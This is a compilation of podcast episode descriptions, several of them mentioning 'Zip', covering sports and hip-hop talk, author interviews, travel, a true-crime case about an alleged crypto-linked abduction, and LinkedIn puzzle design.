Rory's out for the day so Mal, Baby D, and Zip chop it up about their weekends, and Zip shares some events that he was locked up during that he wishes he had been outside for, before into a BET Awards recap. Lauryn Hill receives The Living Legend Icon Award, accompanied by a 20 minute tribute featuring performances from SZA, Doechii, Tems, Doja Cat, and more. Mal shares his thoughts on the direction of rap, Druski’s hosting job, and Punch firing at Druski. Pooh Shiesty’s group chat leaks, prompting the feds to argue that he has over 100 “disposable gang members” ready to crash out for him, and LeBron and AD make headlines over speculation that both will be signing with the Warriors this offseason. Finally, we take a call from a listener who is having trouble spicing up his sex life with a new girl. All lines provided by Hard Rock Bet Visit your nearest Boost Mobile store or https://www.boostmobile.com/promo/25-foreverSee omnystudio.com/listener for privacy information.

Thom talks painting your house with 55KRC's Gary Sullivan. Do the Reds really have a chance to turn things around? Thom has thoughts. And he celebrates Zip's Cafe's 100th anniversary..See omnystudio.com/listener for privacy information.

Frank Schaeffer talks with author and journalist Helen Benedict about her novel The Soldier's House, the Iraq War, military trauma, refugees, and the hidden costs of American foreign policy.Helen shares how years of interviewing veterans and survivors shaped both her journalism and her fiction. Together they discuss women serving in combat zones, sexual violence inside the military, PTSD, immigration, and the long emotional shadow cast by war.This is a thoughtful and deeply human conversation about responsibility, memory, and survival._____LINKShttps://www.helenbenedict.comhttps://www.facebook.com/helen.benedict.5https://www.instagram.com/benedict.helen/Our June It Has to Be Read. offering,The Soldier's House on Bookshop_____I have had the pleasure of talking to some of the leading authors, artists, activists, and change-makers of our time on this podcast, and I want to personally thank you for subscribing, listening, and sharing 100-plus episodes over 100,000 times.Please subscribe to this Podcast, In Conversation… with Frank Schaeffer, on your favorite platform, and to my Substack, It Has to Be Said. Thanks! Every subscription helps create, build, sustain and put voice to this movement for truth. Subscribe to It Has to Be Said. The Gospel of Zip will be released in print and on Amazon Kindle, and as a full video on YouTube and Substack that you can watch or listen to for free.Support the show_____In Conversation… with Frank Schaeffer is a production of the George Bailey Morality in Public Life Fellowship. It is hosted by Frank Schaeffer, author of The Gospel of Zip.Learn more at https://www.thegospelofzip.com/Follow Frank on Substack, Facebook, Twitter, Instagram, Threads, TikTok, and YouTube.https://frankschaeffer.substack.comhttps://www.facebook.com/frank.schaeffer.16https://twitter.com/Frank_Schaefferhttps://www.instagram.com/frank_schaeffer_arthttps://www.threads.net/@frank_schaeffer_arthttps://www.tiktok.com/@frank_schaefferhttps://www.youtube.com/c/FrankSchaefferYouTubeIn Conversation… with Frank Schaeffer Podcast

In China, waiters don't get tips. Zip. Nada. Zilch. Of course, there's no way that can fly in the US where tipping is ubiquitous. In this lesson, two Chinese friends discuss American tipping culture and how it relates to Chinese customs. Episode link: https://www.chinesepod.com/2094

Today we're venturing deep into the Great Bear Rainforest of British Columbia, where Nimmo Bay Wilderness Resort has been welcoming guests to one of the most remote and breathtaking corners of Canada for over 45 years. Joining me today are Fraser and Becky Murray, the husband and wife team behind Nimmo Bay - a place that started as a family fishing lodge and has evolved into a world-renowned luxury wilderness destination focused on bears, whales, helicopters, and some seriously incredible food. We talk about everything from the hydroelectric system powering the lodge off a waterfall, to the wildest wildlife encounters guests have had, to what it actually does to a person to spend a few days truly immersed in this kind of wilderness. Zip up your fleece and enjoy this wild and wonderful episode of Luxury Travel Insider.   Looking to book a luxury hotel? Get special perks and support the podcast by booking here: https://www.virtuoso.com/advisor/sarahgroen/travel/luxury-hotels If you want our expert guidance and help planning a luxury trip with experiences you can't find online, tell us more here and we'll reach out: https://bellandblytravel.com/book-a-trip/   Learn more at www.luxtravelinsider.com   Connect with me on Social: Instagram LinkedIn

A cybersecurity firm worth two billion dollars classified Nancy Guthrie's alleged abduction as a wrench attack by proxy. Their language, not ours. A wrench attack is a crypto-targeted crime. Nancy Guthrie is eighty-four years old with no known cryptocurrency holdings.That disconnect is the center of this conversation. If CertiK's classification is accurate, the person who was taken may not have been the intended target. Catalina Foothills is one of the wealthiest neighborhoods in Tucson. Someone in that ZIP code may hold the kind of crypto that draws a six-million-dollar ransom demand. And if whoever showed up at Nancy's address was looking for that person, they found an eighty-four-year-old woman instead — and had a problem they couldn't walk away from.Meanwhile, volunteers have searched the border region three separate times after anonymous tips. Twenty-five unmarked graves found. None connected to Nancy. The Tohono O'odham reservation offers seventy-two miles of minimally monitored border. DNA sits at Quantico. The sheriff faces a recall. And the question nobody else is asking out loud: if Nancy wasn't the target, the real one may still be living nearby.Jennifer Coffindaffer, contributor to Hidden Killers, breaks it down.Join Our SubStack For AD-FREE ADVANCE EPISODES & EXTRAS!: https://hiddenkillers.substack.com/Want to comment and watch this podcast as a video? Check out our YouTube Channel. https://www.youtube.com/channel/UC8-vxmbhTxxG10sO1izODJg?sub_confirmation=1Instagram https://www.instagram.com/hiddenkillerspod/Facebook https://www.facebook.com/hiddenkillerspod/Tik-Tok https://www.tiktok.com/@hiddenkillerspodX Twitter https://x.com/TrueCrimePodThis publication contains commentary and opinion based on publicly available information. All individuals are presumed innocent until proven guilty in a court of law. Nothing published here should be taken as a statement of fact, health or legal advice.#NancyGuthrie #CertiK #CatalinaFoothills #WrenchAttack #BitcoinRansom #MissingPerson #Tucson #TrueCrime #HiddenKillers #JenniferCoffindaffer

Listen and subscribe to Money Making Conversations on iHeartRadio, Apple Podcasts, Spotify, www.moneymakingconversations.com/subscribe/ or wherever you listen to podcasts. New Money Making Conversations episodes drop daily. I want to alert you, so you don’t miss out on expert analysis and insider perspectives from my guests who provide tips that can help you uplift the community, improve your financial planning, motivation, or advice on how to be a successful entrepreneur. Keep winning! Two-time Emmy and Three-time NAACP Image Award-winning, television Executive Producer Rushion McDonald interviewed Dr. Joaquin Wallace.

The Tim Conway Jr. Show Hour 4 (6.18) Conway kicks off the hour with new overnight rules at San Diego beaches, where the beaches may not be fully shut down at night, but more than 35 coastal parking lots now face strict closures and time limits. The goal is to cut down on nighttime crime and overnight vehicle habitation, but it raises the classic California question: can we still enjoy the beach after dark? Then the crew jumps into the exploding world of podcasts. Spotify has listed the best podcasts in the world, and Conway asks the big question: everyone has a podcast now... but why? The show breaks down the top 10 trending podcasts in the U.S., covering everything from comedy and true crime to daily news, business, history, and celebrity interviews. From The Joe Rogan Experience and Crime Junkie to The Daily, Theo Von, Call Her Daddy, SmartLess, Dateline NBC, Stuff You Should Know, The Diary of A CEO, and The Rest Is History, the crew asks: do you actually listen to any of these? The hour wraps with the latest L.A. housing trend, as more Angelenos leave core Los Angeles for Long Beach and Santa Ana in search of lower rent and more space. But with longer commutes, rising costs, and each city’s own housing pressures, the big question is whether moving really solves the problem — or just changes the ZIP code. Trending Keywords: Spotify podcasts, top podcasts, Joe Rogan, Crime Junkie, The Daily, Theo Von, Call Her Daddy, SmartLess, true crime podcast, San Diego beaches, beach parking rules, Los Angeles rent, Long Beach, Santa Ana, housing costs, Conway Show, funny podcastSee omnystudio.com/listener for privacy information.

Frank talks with psychologist Paul Eastwick about the science of attraction, attachment, marriage, and long-term companionship.Drawing from his book Bonded by Evolution: The New Science of Love and Connection, Paul challenges the idea that relationships are mostly about status, dominance, or “mate value.” Instead, he argues that humans evolved for bonding, caregiving, emotional support, and mutual dependence.The conversation also explores online dating culture, the manosphere, sexuality, compatibility, and why people often misunderstand what makes relationships work._____LINKShttps://pauleastwick.comhttps://www.lovefactuallypod.comOur June It Has to Be Read. offering,Bonded by Evolution: The New Science of Love and Connection on BookshopI have had the pleasure of talking to some of the leading authors, artists, activists, and change-makers of our time on this podcast, and I want to personally thank you for subscribing, listening, and sharing 100-plus episodes over 100,000 times.Please subscribe to this Podcast, In Conversation… with Frank Schaeffer, on your favorite platform, and to my Substack, It Has to Be Said. Thanks! Every subscription helps create, build, sustain and put voice to this movement for truth. Subscribe to It Has to Be Said. The Gospel of Zip will be released in print and on Amazon Kindle, and as a full video on YouTube and Substack that you can watch or listen to for free.Support the show_____In Conversation… with Frank Schaeffer is a production of the George Bailey Morality in Public Life Fellowship. It is hosted by Frank Schaeffer, author of The Gospel of Zip.Learn more at https://www.thegospelofzip.com/Follow Frank on Substack, Facebook, Twitter, Instagram, Threads, TikTok, and YouTube.https://frankschaeffer.substack.comhttps://www.facebook.com/frank.schaeffer.16https://twitter.com/Frank_Schaefferhttps://www.instagram.com/frank_schaeffer_arthttps://www.threads.net/@frank_schaeffer_arthttps://www.tiktok.com/@frank_schaefferhttps://www.youtube.com/c/FrankSchaefferYouTubeIn Conversation… with Frank Schaeffer Podcast

Zip joins the crew to chop it up about the Knicks’ Finals win, and the struggles of life-long Knicks’ fans. Terry Crews shares about his porn addiction, and the squad discusses which addictions are hardest to beat. Zip also shares some hilarious gambling stories, and his biggest losses shooting dice. Key Glock joins the show in anticipation for his new album, Project X. He speaks on his growth throughout his career, him not wanting to collaborate with a ton of artists, and his inspirations for this project. He also talks about acting, favorite TV show endings, and what his core fanbase is looking forward to on the album. His new album, Project X is out this Friday! All lines provided by Hard Rock Bet Visit your nearest Boost Mobile store or https://www.boostmobile.com/promo/25-foreverSee omnystudio.com/listener for privacy information.

BJJ Black Belt, Josh Longood, went viral for saving a Frontier Airlines Flight.Josh was on a flight home when another passenger allegedly started attacking workers and causing all sorts of chaos. The Bjj spidey sense in Josh's head started to tingle and he handled the situation exactly how a black belt should. He was able to control the aggressive passenger, keep everyone calm, and go super viral while doing it!Today, I(@thejoshmckinney) get to sit down with Josh and ask him exactly how he was able to subdue the passenger so easily. We also find out what Frontier Airlines did to thank him for saving everyone in what could have been an absolute disaster.If you've ever wondered, “I wonder if my jiu jitsu could work in a real life situation?” This episode is for you!Watch this before your next flight!Subscribe to the I Suck at Jiu Jitsu Show for weekly AJJ advice, mindset, training stories, and questionable life choices that help you suck just a little bit less at Jiu Jitsu.Get my free ebook The Competitor's Journey:simplifyingjiujitsu.comGet a free copy of jiu jitsu for imbeciles: bjjmentalmodels.com/isuckSponsored by Datsusara:Use code ISUCK at dsgear.comGet Champions Stay Present(mindset hacks for competition): https://www.simplifyingjiujitsu.com/csp0:00 Intro1:33 The viral Frontier flight story3:35 Flying home from Puerto Rico5:04 When Josh knew something was wrong8:38 Going hands-on with the passenger10:29 “I only used 2%”11:47 Zip ties, seatbelts, and keeping everyone calm13:22 Passengers started yelling “choke him!”15:39 Police, FBI, and the emergency landing16:37 When Josh realized the story went viral19:30 Riding the wave after going viral23:48 Why this went bigger outside the BJJ world28:33 Every jiu-jitsu guy's airplane fantasy30:13 Does jiu-jitsu actually work in real life?34:06 Josh's wrestling, MMA, and competition background41:30 Coaching vs. teaching jiu-jitsu45:36 The IBJJF rule mistake that cost him gold55:21 The best jiu-jitsu advice Josh ever received57:04 Where to train with Josh

Listen and subscribe to Money Making Conversations on iHeartRadio, Apple Podcasts, Spotify, www.moneymakingconversations.com/subscribe/ or wherever you listen to podcasts. New Money Making Conversations episodes drop daily. I want to alert you, so you don’t miss out on expert analysis and insider perspectives from my guests who provide tips that can help you uplift the community, improve your financial planning, motivation, or advice on how to be a successful entrepreneur. Keep winning! Two-time Emmy and Three-time NAACP Image Award-winning, television Executive Producer Rushion McDonald interviewed Dr. Joaquin Wallace.

Listen and subscribe to Money Making Conversations on iHeartRadio, Apple Podcasts, Spotify, www.moneymakingconversations.com/subscribe/ or wherever you listen to podcasts. New Money Making Conversations episodes drop daily. I want to alert you, so you don’t miss out on expert analysis and insider perspectives from my guests who provide tips that can help you uplift the community, improve your financial planning, motivation, or advice on how to be a successful entrepreneur. Keep winning! Two-time Emmy and Three-time NAACP Image Award-winning, television Executive Producer Rushion McDonald interviewed Dr. Joaquin Wallace.

"The connection between the solver and the setter is really important." If you're a daily puzzle lover, your morning might start something like mine: pouring a cup of coffee and jumpstarting the brain with my favorite snack-sized games. Chief among those are the snappy games at LinkedIn, such as Queens, Zip, Tango, and Patches. The man behind this collection of puzzles powering LinkedIn's Games section is Thomas Snyder. Thomas Snyder is a three-time World Sudoku Champion, co-author of the foundational puzzle design book Puzzlecraft, and Principal Puzzle Master at LinkedIn Games. A Harvard trained chemist, Thomas is a scientist at heart. He has a methodical approach to puzzle solving and puzzle crafting that makes for satisfying logic puzzles. However, there's also a lot of artistry to the puzzles Thomas designs. Throughout the conversation, he emphasizes that each puzzle put out by LinkedIn is handcrafted. There is a playfulness and inventiveness to the layout and solve path. There's a dance between the puzzle creator and the solver. Thomas posts videos on LinkedIn of his solve path for the games, and he talks to us about the conversation that sparks. In fact, the whole reason behind the puzzle offerings at LinkedIn was to create opportunities for users to connect socially and bond over the games. I especially appreciated talking about puzzles that empathize with the solver and how to create approachable puzzles that can still delight expert players. LinkedIn just launched their newest game Wend, which is Thomas's take on a word search puzzle. We also played a game I wrote, which Thomas solved embarrassingly (for me) quickly, but we had fun, which is the whole point. If you enjoy zippy puzzle games, check out the LinkedIn Collection, and for even more fun games-on-the-go, listen to PG's Playhouse.     Episode Sponsors We are immensely grateful to our sponsors this season: REA Patreon Backers, PG's Playhouse, Buzzshot, and the Reality Escape Convention. We truly appreciate your support of our mission to promote and improve the immersive gaming community.   Buzzshot Buzzshot is Escape Room Software, Powering Business Growth, Player Marketing, and improving the Customer Experience. They offer an assortment of pre and post game features including robust waiver management, branded team photos, and streamlined review management for Yelp, TripAdvisor, Google Reviews, and Morty. Buzzshot now has integration with the other REPOD sponsors: Morty and COGS. Special Offer for REPOD Listeners: REPOD listeners get an extended 21-day free trial plus 20% off your first 3 months, with no set-up fees or hidden charges. Visit buzzshot.com/repod to learn more about this exclusive offer.   Support Us On Patreon Today Love escape rooms as much as we do? At Room Escape Artist, we've been analyzing, reviewing, and exploring the world of immersive games since 2014. We help players find the best experiences, and push the industry forward with well-researched, rational, and reasonably humorous escape room and immersive gaming content and events. By becoming a Patreon supporter, you're not just backing a blog — you're fueling a mission to make the escape room and immersive gaming community stronger, more thoughtful, and more connected. Access exclusive Patreon content such as: The Bonus Aftershow The Spoilers Club Early access to escape room Tour tickets and REA articles. Your Patreon support goes toward our mission: paying our contributors, funding our infrastructure, and supporting deep research and industry advocacy.   PG's Playhouse If you love wordplay, puzzles, and trivia, this is the podcast for you! PG's Playhouse recreates a fun game night, all in a short, 30-minute format. Of course, what's game night without making new friends? We bring on different guests for the different episodes. Each episode features a puzzle packed with wordplay and trivia, a short chat with the guest, and a segment exploring an interesting topic. I hope you'll take a listen and play along with us at PG's Playhouse.   Reality Escape Convention Our convention, RECON, will be in Laval, Quebec Canada on August 16th & 17th, 2026. RECON offers a curated collection of talks and experiences exploring the business and art of escape room and immersive game creation. All are welcome at this event that is crafted around professionals and aspiring professionals.   Production Credits Hosted by David Spira & Peih-Gee Law Produced by Theresa Piazza Supported by Lisa Spira Edited by Steve Ewing Music by Ryan Elder Logo by Janine Pracht

Benny The Butcher, Fuego Base and Zip join the guys to tell the story of how Benny signed Fuego Base, Connecticut rappers, and how the Black Soprano Family have been keeping upstate rap alive. Benny addresses Conway the Machine and Westside Gunn both hinting at their retirement, as well as his Drake song that never was released. The guys also chop it up about building business structure, what other rappers they’ve been listening to, and share some hilarious stories. All lines provided by Hard Rock Bet Visit your nearest Boost Mobile store or https://www.boostmobile.com/promo/25-foreverSee omnystudio.com/listener for privacy information.